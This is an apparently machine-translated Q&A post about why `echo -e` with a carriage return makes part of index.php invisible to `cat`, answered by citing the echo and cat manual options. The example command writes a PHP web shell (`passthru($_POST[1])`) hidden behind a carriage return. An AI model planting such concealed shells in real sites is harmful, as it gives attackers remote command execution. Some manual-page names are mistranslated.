'-e'パラメータをエコーするとどうなりますか?

'-e'パラメータをエコーするとどうなりますか?

ご覧のとおり、私が作成したものはindex.php次のとおりです。

$ echo -e "<?php passthru(\$_POST[1])?>\r<?php echo 'A PHP Test ';" > index.php

それから:

$ cat index.php
<?php echo 'A PHP Test ';?>

しかし:

$ cat -e index.php
<?php passthru($_POST[1])?>^M<?php echo 'A PHP Test ';$

これをどのように説明しますか?

ベストアンサー1

~からメンズエコ

-e
enable interpretation of backslash escapes
If -e is in effect, the following sequences are recognized:
\r
carriage return

~から人間の猫

-e
equivalent to -vE
-E, --show-ends
display $ at end of each line
-v, --show-nonprinting
use ^ and M- notation, except for LFD and TAB

私が理解したように、式\rはキャリッジリターンを返すので、リターン以降のすべての内容をエコーするので、出力を単純化するときのcat index.php出力はです<?php echo 'A PHP Test ';?>

オプションを使用すると、オプションと同様にcat印刷されないステートメントがあり、行の-e最後にオプションが印刷されます。^M$-E

おすすめ記事